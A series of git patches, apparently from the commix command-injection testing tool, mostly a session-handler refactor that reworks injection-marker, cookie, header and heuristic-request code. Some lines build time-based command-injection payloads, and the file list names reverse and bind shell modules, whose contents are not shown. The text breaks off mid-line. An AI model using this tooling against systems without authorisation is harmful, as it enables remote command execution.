issue-lock-inactive-days: '90' - issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' \ No newline at end of file + issue-lock-inactive-days: '30' + issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' From ff50a96fe9bdf1bdeb0d3ebb81ce7b30d087b560 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos <5289251+stasinopoulos@users.noreply.github.com> Date: Fri, 30 Aug 2024 07:47:56 +0300 Subject: [PATCH 491/560] Update lockbot.yml --- .github/workflows/lockbot.yml | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/.github/workflows/lockbot.yml b/.github/workflows/lockbot.yml index d2b9092a5a..9aba2a20a0 100644 --- a/.github/workflows/lockbot.yml +++ b/.github/workflows/lockbot.yml @@ -2,7 +2,7 @@ name: 'LockBot' on: schedule: - - cron: '0 1 * * *' + - cron: '0 0 * * *' permissions: issues: write @@ -14,4 +14,14 @@ jobs: - uses: dessant/lock-threads@v2 with: issue-lock-inactive-days: '30' - issue-lock-comment: 'This issue has been automatically locked since there has not been any recent activity after it was closed. Please open a new issue for related issues.' + issue-lock-comment: > + This issue has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.

+ _This action has been performed automatically by a bot._ + issue-lock-reason: '' + pr-lock-inactive-days: 30 + pr-lock-comment: > + This PR has been automatically locked due to inactivity.
+ Please file a new issue if you are encountering a similar or related problem.

+ _This action has been performed automatically by a bot._ + pr-lock-reason: '' From 0d291ee45bee9a45ffce537c30035b928f6a6d98 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 Sep 2024 08:35:06 +0300 Subject: [PATCH 492/560] Major code refactoring regarding session handler --- doc/CHANGELOG.md | 2 + .../techniques/time_based/tb_payloads.py | 4 +- src/core/injections/controller/checks.py | 208 ++++++---- src/core/injections/controller/controller.py | 324 +++++++-------- src/core/injections/controller/handler.py | 69 ++-- src/core/injections/controller/injector.py | 10 +- src/core/injections/controller/parser.py | 1 + .../injections/controller/shell_options.py | 9 +- .../techniques/eval_based/eb_payloads.py | 2 +- .../techniques/file_based/fb_payloads.py | 2 +- .../techniques/tempfile_based/tfb_payloads.py | 2 +- src/core/main.py | 110 +++--- src/core/modules/shellshock/shellshock.py | 3 - src/core/requests/authentication.py | 8 +- src/core/requests/headers.py | 26 +- src/core/requests/parameters.py | 168 +++++--- src/core/requests/requests.py | 169 ++++---- src/core/shells/bind_tcp.py | 12 +- src/core/shells/reverse_tcp.py | 12 +- src/core/tamper/rev.py | 8 +- src/utils/common.py | 7 + src/utils/logs.py | 9 +- src/utils/menu.py | 3 +- src/utils/session_handler.py | 373 ++++++++---------- src/utils/settings.py | 40 +- src/utils/version.py | 3 +- 26 files changed, 821 insertions(+), 763 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a28aaeefbf..79b2ba9751 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,6 @@ ## Version 4.0 (TBA) +* Revised: Major code refactoring regarding session handler. +* Revised: Minor improvement regarding options `--prefix`, `--suffix`. * Revised: Improvement regarding writing text to the stdout (console) stream. * Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. * Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1c1cb5926d..6856079054 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -182,7 +182,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a": payload = (separator + "str=\"$(echo $(" + cmd + "))\"" + separator + @@ -317,7 +317,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met ) else: - settings.USER_SUPPLIED_CMD = cmd + settings.USER_APPLIED_CMD = cmd if separator == ";" or separator == "%0a" : payload = (separator + # Grab the execution output. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 6c76fe763a..6c381c444e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -83,9 +83,10 @@ def check_waf(url, http_request_method): payload = settings.PARAMETER_DELIMITER + payload url = url + payload if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(), method=http_request_method) + request = _urllib.request.Request(remove_tags(url), remove_tags(settings.USER_DEFINED_POST_DATA).encode(), method=http_request_method) else: - request = _urllib.request.Request(url, method=http_request_method) + request = _urllib.request.Request(remove_tags(url), method=http_request_method) + headers.do_check(request) return request, url """ @@ -135,6 +136,7 @@ def process_non_custom(): message += " Do you want to process them too? [Y/n] > " process = common.read_input(message, default="Y", check_batch=True) if process in settings.CHOICE_YES: + settings.CUSTOM_INJECTION_MARKER = False settings.SKIP_NON_CUSTOM = settings.IGNORE_USER_DEFINED_POST_DATA = False return elif process in settings.CHOICE_NO: @@ -147,6 +149,24 @@ def process_non_custom(): common.invalid_option(process) pass +""" +Process the defined injectable value +""" +def process_injectable_value(payload, data): + _ = data.replace(settings.TESTABLE_VALUE, settings.RANDOM_TAG) + if settings.TESTABLE_VALUE in _.replace(settings.INJECT_TAG, ""): + return _.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + else: + return _.replace(settings.RANDOM_TAG + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(settings.RANDOM_TAG, settings.TESTABLE_VALUE) + +""" +Remove all injection tags from provided data +""" +def remove_tags(data): + if not data: + data = "" + return data.replace(settings.INJECT_TAG,"").replace(settings.CUSTOM_INJECTION_MARKER_CHAR,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "") + """ Process data with custom injection marker character ('*'). """ @@ -156,12 +176,12 @@ def process_custom_injection_data(data): for data in data.split("\\n"): if not data.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in data: if menu.options.test_parameter != None and settings.CUSTOM_INJECTION_MARKER == False: - data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "") - elif settings.CUSTOM_INJECTION_MARKER: - data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) + data = remove_tags(data) + # elif settings.CUSTOM_INJECTION_MARKER: + data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER) _.append(data) data = "\\n".join((list(dict.fromkeys(_)))).rstrip("\\n") - + return data """ @@ -169,11 +189,11 @@ def process_custom_injection_data(data): """ def custom_injection_marker_character(url, http_request_method): _ = settings.CUSTOM_INJECTION_MARKER = False + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = [] + if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True - # if menu.options.data: - # settings.IGNORE_USER_DEFINED_POST_DATA = True if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data: option = str(http_request_method) + " body" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True @@ -181,13 +201,13 @@ def custom_injection_marker_character(url, http_request_method): option = "option '--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True - elif menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: + if menu.options.agent and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.agent: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True - elif menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: + if menu.options.referer and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.referer: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True - elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: + if menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True - elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: + if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: settings.CUSTOM_INJECTION_MARKER = True else: @@ -209,7 +229,8 @@ def custom_injection_marker_character(url, http_request_method): common.invalid_option(procced_option) pass - +""" +""" def skipping_technique(technique, injection_type, state): if settings.VERBOSITY_LEVEL != 0 and state != True: debug_msg = "Skipping test the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " @@ -219,28 +240,27 @@ def skipping_technique(technique, injection_type, state): Skipping of further tests. """ def keep_testing_others(filename, url): - if settings.SKIP_COMMAND_INJECTIONS: - while True: - message = "Do you want to keep testing the others? [y/N] > " - procced_option = common.read_input(message, default="N", check_batch=True) - if procced_option in settings.CHOICE_YES: - settings.SKIP_COMMAND_INJECTIONS = True - return - elif procced_option in settings.CHOICE_NO: - quit(filename, url, _ = False) - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass + if not settings.LOAD_SESSION: + if settings.SKIP_COMMAND_INJECTIONS: + while True: + message = "Do you want to keep testing the others? [y/N] > " + procced_option = common.read_input(message, default="N", check_batch=True) + if procced_option in settings.CHOICE_YES: + settings.SKIP_COMMAND_INJECTIONS = True + return + elif procced_option in settings.CHOICE_NO: + quit(filename, url, _ = False) + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass """ Skipping of further command injection tests. """ def skip_testing(filename, url): - if len(menu.options.tech) == 1: - settings.SKIP_COMMAND_INJECTIONS = True - else: + if not settings.LOAD_SESSION: if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: _ = " testing command injection techniques" else: @@ -252,6 +272,7 @@ def skip_testing(filename, url): procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True + settings.LOAD_SESSION = False return elif procced_option in settings.CHOICE_NO: settings.SKIP_COMMAND_INJECTIONS = False @@ -313,7 +334,12 @@ def check_http_method(url): http_request_method = settings.HTTPMETHOD.GET return http_request_method +""" +Quit +""" def quit(filename, url, _): + if settings.LOAD_SESSION: + logs.logs_notification(filename) logs.print_logs_notification(filename, url) common.show_http_error_codes() if _: @@ -329,7 +355,7 @@ def user_aborted(filename, url): abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C was pressed)." settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) - quit(filename, url, _=True) + raise exit() """ Connection exceptions @@ -356,7 +382,8 @@ def not_declared_cookies(response): if settings.SET_COOKIE in response_header: _ = re.search(r'([^;]+);?', response_header[1]) if _: - set_cookie_header.append(_.group(1)) + if _.group(1).split("=")[0] not in menu.options.cookie: + set_cookie_header.append(_.group(1)) candidate = settings.COOKIE_DELIMITER.join(str(value) for value in set_cookie_header) if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True @@ -402,13 +429,28 @@ def tab_autocompleter(): error_msg = "Failed while trying to use platform's readline library." settings.print_data_to_stdout(settings.print_error_msg(error_msg)) +""" +Load commands from history. +""" +def load_cmd_history(): + try: + cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) + if os.path.exists(cli_history): + readline.read_history_file(cli_history) + except (IOError, AttributeError, UnicodeError) as e: + warn_msg = "There was a problem loading the history file '" + cli_history + "'." + if settings.IS_WINDOWS: + warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Save command history. """ def save_cmd_history(): try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) + cli_history = os.path.join(os.path.expanduser("~"), settings.CLI_HISTORY) if os.path.exists(cli_history): + readline.set_history_length(settings.MAX_HISTORY_LENGTH) readline.write_history_file(cli_history) except (IOError, AttributeError) as e: warn_msg = "There was a problem writing the history file '" + cli_history + "'." @@ -454,20 +496,6 @@ def print_percentage(float_percent, no_result, shell): percent = ".. (" + str(float_percent) + "%)" return percent -""" -Load commands from history. -""" -def load_cmd_history(): - try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) - if os.path.exists(cli_history): - readline.read_history_file(cli_history) - except (IOError, AttributeError, UnicodeError) as e: - warn_msg = "There was a problem loading the history file '" + cli_history + "'." - if settings.IS_WINDOWS: - warn_msg += " More info can be found at 'https://github.com/pyreadline/pyreadline/issues/30'" - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - """ Get value inside boundaries. """ @@ -745,20 +773,21 @@ def assessment_phase(): Procced to the next attack vector. """ def next_attack_vector(technique, go_back): - while True: - message = "Do you want to continue with testing the " + technique + "? [y/N] > " - next_attack_vector = common.read_input(message, default="N", check_batch=True) - if next_attack_vector in settings.CHOICE_YES: - # Check injection state - assessment_phase() - return True - elif next_attack_vector in settings.CHOICE_NO: - return False - elif next_attack_vector in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(next_attack_vector) - pass + if not settings.LOAD_SESSION: + while True: + message = "Do you want to continue with testing the " + technique + "? [y/N] > " + next_attack_vector = common.read_input(message, default="N", check_batch=True) + if next_attack_vector in settings.CHOICE_YES: + # Check injection state + assessment_phase() + return True + elif next_attack_vector in settings.CHOICE_NO: + return False + elif next_attack_vector in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(next_attack_vector) + pass """ Fix single / double quote escaping. @@ -789,8 +818,15 @@ def remove_empty_lines(content): Enable pseudo-terminal shell """ def enable_shell(url): - message = settings.CHECKING_PARAMETER + " is vulnerable. " - message += "Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = "" + if settings.LOAD_SESSION: + message = "Resumed " + message += settings.CHECKING_PARAMETER + if settings.LOAD_SESSION: + message += " injection point from stored session" + else: + message += " is vulnerable" + message += ". Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) if not settings.STDIN_PARSING: @@ -1209,7 +1245,7 @@ def time_delay_recommendation(): Message regarding unexpected time delays due to unstable requests """ def time_delay_due_to_unstable_request(timesec): - message = "Unexpected time delays have been identified and may lead to false-positive results." + message = "Unexpected time delays that may lead to false-positive results, have been identified." settings.print_data_to_stdout(settings.END_LINE.CR) while True: message = message + " How do you want to proceed? [(C)ontinue/(s)kip] > " @@ -1344,7 +1380,7 @@ def testable_parameters(url, check_parameters, header_name): remove_skipped_params(url, check_parameters) _ = False - if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]) == 0: + if settings.TESTABLE_PARAMETERS or [i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]: _ = True if settings.TESTABLE_PARAMETERS_LIST and isinstance(settings.TESTABLE_PARAMETERS_LIST, list): @@ -1358,7 +1394,7 @@ def testable_parameters(url, check_parameters, header_name): if non_exist_param: non_exist_param = settings.PARAMETER_SPLITTING_REGEX.join(non_exist_param).replace(settings.SINGLE_WHITESPACE, "") non_exist_param = non_exist_param.split(settings.PARAMETER_SPLITTING_REGEX) - if menu.options.level >= settings.COOKIE_INJECTION_LEVEL and \ + if settings.INJECTION_LEVEL >= settings.COOKIE_INJECTION_LEVEL and \ menu.options.test_parameter != None: if menu.options.cookie != None: if settings.COOKIE_DELIMITER in menu.options.cookie: @@ -1378,6 +1414,7 @@ def testable_parameters(url, check_parameters, header_name): # Remove the defined HTTP headers for http_header in settings.HTTP_HEADERS: if http_header in non_exist_param: + settings.TESTABLE_PARAMETERS = True non_exist_param.remove(http_header) if settings.VERBOSITY_LEVEL != 0 and non_exist_param and _: @@ -1897,6 +1934,17 @@ def json_data(data): data = json.dumps(data) return data +""" +"No parameter(s) found for testing. +""" +def no_parameters_found(): + err_msg = "No parameter(s) found for testing in the provided data " + err_msg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1'). " + if not menu.options.crawldepth: + err_msg += "You are advised to rerun with '--crawl=2'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Check if the provided value is empty. """ @@ -1928,13 +1976,11 @@ def is_empty(multi_parameters, http_request_method): elif len(empty.split("=")[1]) == 0: empty_parameters.append(empty.split("=")[0]) except IndexError: - if not settings.IS_XML and not settings.IS_JSON: - err_msg = "No parameter(s) found for testing in the provided data." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + pass if len(empty_parameters) == len(multi_parameters): all_empty = True + if menu.options.skip_empty: settings.SKIP_PARAMETER = empty_parameters @@ -2006,16 +2052,6 @@ def process_data(data_type, http_request_method): common.invalid_option(process) pass -""" -Check if provided parameters are in inappropriate format. -""" -def inappropriate_format(multi_parameters): - err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1] - err_msg += (' are ', ' is ')[len(multi_parameters) == 1] - err_msg += "not in appropriate format." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - """ Check for similarity in provided parameter name and value. """ @@ -2046,7 +2082,8 @@ def check_similarities(all_params): else: if re.findall(r'(.*)=', all_params[param]) == re.findall(r'=(.*)', all_params[param]): parameter_name = ''.join(re.findall(r'=(.*)', all_params[param])) - all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG + if parameter_name: + all_params[param] = parameter_name + "=" + parameter_name + settings.RANDOM_TAG elif re.findall(r'=(.*)', all_params[param])[0] in re.findall(r'(.*)=', all_params[param])[0]: parameter_name = ''.join(re.findall(r'(.*)=', all_params[param])) parameter_value = ''.join(re.findall(r'=(.*)', all_params[param])) @@ -2699,6 +2736,15 @@ def file_upload(): common.invalid_option(enable_HTTP_server) pass +def define_vulnerable_http_header(http_header_name): + if http_header_name == settings.USER_AGENT.lower(): + settings.USER_AGENT_INJECTION = True + elif http_header_name == settings.REFERER.lower(): + settings.REFERER_INJECTION = True + elif http_header_name == settings.HOST.lower(): + settings.HOST_INJECTION = True + return http_header_name + """ Check for wrong flags """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c4bb2ad3ea..0701ea9be0 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -41,7 +41,6 @@ """ def basic_level_checks(): - settings.LOAD_SESSION = None settings.TIME_RELATIVE_ATTACK = False settings.SKIP_CODE_INJECTIONS = None settings.SKIP_COMMAND_INJECTIONS = None @@ -50,28 +49,29 @@ def basic_level_checks(): settings.IDENTIFIED_PHPINFO = False """ -Check for previously stored sessions. +Initializing HTTP Headers parameters injection status """ -def check_for_stored_sessions(url, http_request_method): - if not menu.options.ignore_session: - if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: - if session_handler.applied_techniques(url, http_request_method): - settings.SESSION_APPLIED_TECHNIQUES = session_handler.applied_techniques(url, http_request_method) - # menu.options.tech = settings.SESSION_APPLIED_TECHNIQUES - if session_handler.check_stored_parameter(url, http_request_method): - if not settings.MULTI_TARGETS or not settings.STDIN_PARSING: - settings.LOAD_SESSION = True - return True +def init_http_header_injection_status(): + settings.HTTP_HEADERS_INJECTION = None + settings.USER_AGENT_INJECTION = None + settings.REFERER_INJECTION = None + settings.HOST_INJECTION = None """ -Check for previously stored injection level. +Initializing Cookie parameters injection status """ -def check_for_stored_levels(url, http_request_method): - if not menu.options.ignore_session: - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: - menu.options.level = session_handler.applied_levels(url, http_request_method) - if type(menu.options.level) is not int : - menu.options.level = settings.DEFAULT_INJECTION_LEVEL +def init_cookie_injection_status(): + settings.COOKIE_INJECTION = None + +""" +Check for previously stored sessions. +""" +def check_for_stored_sessions(url, check_parameter, http_request_method): + if not menu.options.ignore_session and not menu.options.flush_session: + if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: + if settings.LOAD_SESSION == None: + url, check_parameter = session_handler.check_stored_injection_points(url, check_parameter, http_request_method) + return url, check_parameter """ Heuristic request(s) @@ -80,32 +80,54 @@ def heuristic_request(url, http_request_method, check_parameter, payload, whites data = None cookie = None tmp_url = url - payload = parameters.prefixes(payload, prefix="") - payload = parameters.suffixes(payload, suffix="") + payload, prefix = parameters.prefixes(payload, prefix="") + payload, suffix = parameters.suffixes(payload, suffix="") payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) if settings.VERBOSITY_LEVEL >= 1: settings.print_data_to_stdout(settings.print_payload(payload)) if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: payload = checks.payload_fixation(payload) - cookie = menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) - elif not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: - data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + cookie = checks.process_injectable_value(payload, menu.options.cookie).encode(settings.DEFAULT_CODEC) + # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): + # cookie = menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) + # else: + # cookie = menu.options.cookie.replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) + else: + cookie = checks.remove_tags(menu.options.cookie).encode(settings.DEFAULT_CODEC) + + if not settings.IGNORE_USER_DEFINED_POST_DATA and menu.options.data and settings.INJECT_TAG in menu.options.data: + data = checks.process_injectable_value(payload, menu.options.data).encode(settings.DEFAULT_CODEC) + # if settings.TESTABLE_VALUE in menu.options.data.replace(settings.INJECT_TAG, ""): + # data = menu.options.data.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).encode(settings.DEFAULT_CODEC) + # else: + # data = menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC) else: - if settings.INJECT_TAG in url: - tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + settings.USER_DEFINED_POST_DATA = checks.remove_tags(settings.USER_DEFINED_POST_DATA) + data = settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC) + if settings.INJECT_TAG in url: + tmp_url = checks.process_injectable_value(payload, url) + # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): + # tmp_url = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # tmp_url = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + else: + tmp_url = checks.remove_tags(tmp_url) + url = checks.remove_tags(url) + request = _urllib.request.Request(tmp_url, data, method=http_request_method) if cookie: request.add_header(settings.COOKIE, cookie) if check_parameter_in_http_header(check_parameter) and check_parameter not in settings.HOST.capitalize(): settings.CUSTOM_HEADER_NAME = check_parameter - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(check_parameter, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).encode(settings.DEFAULT_CODEC)) + if settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "") in settings.CUSTOM_HEADER_VALUE: + request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload).encode(settings.DEFAULT_CODEC)) else: - request.add_header(check_parameter, (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) + request.add_header(settings.CUSTOM_HEADER_NAME, payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) - return response + return response, url """ Heuristic (basic) tests for command injection @@ -120,11 +142,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, try: checks.perform_payload_modification(payload="") for whitespace in settings.WHITESPACES: - if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: + if not settings.IDENTIFIED_COMMAND_INJECTION: _ = 0 for payload in basic_payloads: _ = _ + 1 - response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) @@ -159,9 +181,9 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t settings.EVAL_BASED_STATE = True try: whitespace = settings.SINGLE_WHITESPACE - if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO): for payload in settings.PHPINFO_CHECK_PAYLOADS: - response = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) + response, url = heuristic_request(url, http_request_method, check_parameter, payload, whitespace) if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) @@ -259,17 +281,20 @@ def filebased_command_injection_technique(url, timesec, filename, http_request_m Check parameter in HTTP header. """ def check_parameter_in_http_header(check_parameter): - inject_http_headers = False if any(x in check_parameter.lower() for x in settings.HTTP_HEADERS) or \ check_parameter.lower() in settings.CUSTOM_HEADER_NAME.lower(): if settings.ACCEPT_VALUE not in settings.CUSTOM_HEADER_VALUE: inject_http_headers = True + else: + inject_http_headers = False + init_http_header_injection_status() return inject_http_headers """ Proceed to the injection process for the appropriate parameter. """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): + settings.NOT_TESTABLE_PARAMETERS = False for i in range(0,int(settings.OS_CHECKS_NUM)): if settings.CHECK_BOTH_OS: if i == 0: @@ -279,15 +304,20 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.PERFORM_BASIC_SCANS: checks.keep_testing_others(filename, url) + if not settings.LOAD_SESSION: + settings.LOAD_SESSION = None basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) + if inject_http_headers: + checks.define_vulnerable_http_header(check_parameter) + # User-Agent/Referer/Host/Custom HTTP header Injection(s) - if check_parameter.startswith(settings.SINGLE_WHITESPACE): + if any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION)): header_name = "" - the_type = "HTTP header" - inject_parameter = " '" + check_parameter.strip() + "'" + the_type = "HTTP Header" + inject_parameter = " parameter '" + check_parameter + "'" else: if settings.COOKIE_INJECTION: header_name = settings.COOKIE @@ -304,7 +334,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # checks.tamper_scripts(stored_tamper_scripts=False) settings.CHECKING_PARAMETER = "" - if not header_name == settings.COOKIE and not the_type == "HTTP header": + settings.TESTABLE_PARAMETER = check_parameter + if not header_name == settings.COOKIE and not the_type == "HTTP Header": settings.CHECKING_PARAMETER = checks.check_http_method(url) settings.CHECKING_PARAMETER += ('', ' JSON')[settings.IS_JSON] + ('', ' SOAP/XML')[settings.IS_XML] if header_name == settings.COOKIE : @@ -314,10 +345,11 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER - - info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - + + if not settings.LOAD_SESSION: + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.skip_heuristics: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Skipping heuristic (basic) tests to the " + settings.CHECKING_PARAMETER + "." @@ -359,7 +391,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time # Procced with file-based semiblind command injection technique, # once the user provides the path of web server's root directory. - if menu.options.web_root and not settings.SESSION_APPLIED_TECHNIQUES and not "f" in menu.options.tech: + if menu.options.web_root and settings.USER_APPLIED_TECHNIQUE and not "f" in menu.options.tech: if not menu.options.web_root.endswith("/"): menu.options.web_root = menu.options.web_root + "/" if checks.procced_with_file_based_technique(): @@ -376,54 +408,65 @@ def 